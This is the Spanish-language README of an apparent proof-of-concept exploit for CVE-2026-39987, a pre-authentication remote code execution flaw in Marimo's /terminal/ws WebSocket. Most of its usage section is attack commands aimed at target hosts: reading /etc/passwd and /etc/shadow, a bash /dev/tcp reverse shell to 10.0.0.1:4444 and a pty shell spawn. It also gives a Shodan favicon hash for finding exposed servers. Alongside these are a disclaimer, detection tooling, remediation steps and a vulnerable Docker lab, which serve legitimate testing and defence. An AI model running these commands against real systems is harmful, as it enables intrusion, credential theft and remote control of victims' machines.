
PoC de CVE-2026-39987: RCE pre-autenticacion via WebSocket en Marimo menor a 0.23.0 (CVSS 9.3).
markdown
Este script es SOLO para fines educativos y pruebas autorizadas. El uso no autorizado de esta herramienta contra sistemas sin permiso explícito es ILEGAL. El autor no se hace responsable del mal uso de esta información.
Marimo versions anteriores a la 0.23.0 presentan una vulnerabilidad crítica de ejecución remota de comandos (RCE) sin autenticación previa. El endpoint /terminal/ws no implementa controles de acceso adecuados, permitiendo a un atacante no autenticado obtener una shell interactiva completa en el sistema.
| Detalle | Información |
|---|---|
| CVE | CVE-2026-39987 |
| Severidad | CRÍTICA |
| CVSS Score | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| Tipo | Pre-Auth Remote Code Execution (RCE) |
| Vector | WebSocket (/terminal/ws) |
| Producto Afectado | Marimo < 0.23.0 |
| Parche | Marimo ≥ 0.23.0 |
http.favicon.hash:-1864630356
text
-1864630356/api/versionpip install websockets requests
Uso Básico
bash
python CVE-2026-39987_PoC.py http://victima.com:8080 "id"
Ejemplos
bash
# Obtener información del sistema
python CVE-2026-39987_PoC.py http://target.com:8080 "id"
python CVE-2026-39987_PoC.py http://target.com:8080 "uname -a"
python CVE-2026-39987_PoC.py http://target.com:8080 "whoami"
# Leer archivos sensibles
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/passwd"
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/shadow"
# Reverse shell
python CVE-2026-39987_PoC.py http://target.com:8080 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# Shell interactiva
python CVE-2026-39987_PoC.py http://target.com:8080 "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
🛡️ Detección (Seguro)
Script de detección pasiva
bash
python detector.py -u http://target.com:8080
python detector.py -l urls.txt
Nuclei Template
yaml
# marimo-cve-2026-39987.yaml
id: CVE-2026-39987
info:
name: Marimo < 0.23.0 Pre-Auth RCE
severity: critical
# ... (template completo incluido)
🔧 Remediation
Inmediata
DESCONECTAR el sistema de la red si está expuesto
Bloquear acceso al puerto donde corre Marimo
Revisar logs en busca de actividad sospechosa
Permanente
bash
# Actualizar a versión parcheada
pip install --upgrade marimo>=0.23.0
# Verificar versión
marimo --version
# Configurar autenticación si se expone públicamente
# NUNCA exponer 'marimo edit' directamente a internet
Docker (Entorno vulnerable)
bash
# Ejecutar versión vulnerable para pruebas
docker run -p 8080:8080 marimo-team/marimo:0.22.0
# Verificar vulnerabilidad
python CVE-2026-39987_detector.py http://localhost:8080
# Explotar
python CVE-2026-39987_PoC.py http://localhost:8080 "id"
GitHub Security Advisory
NVD Entry
Pull Request #9098
Marimo Documentation
👥 Créditos
Descubrimiento: [Nombre del investigador]
PoC Desarrollo: [Tu nombre]
Parche: Marimo Team
📜 Licencia
Este proyecto es solo para fines educativos. El uso de este software es bajo tu propio riesgo.
⭐ Si este README te fue útil, considera darle una estrella al repositorio.
⚠️ RECUERDA: CON GRAN PODER VIENE GRAN RESPONSABILIDAD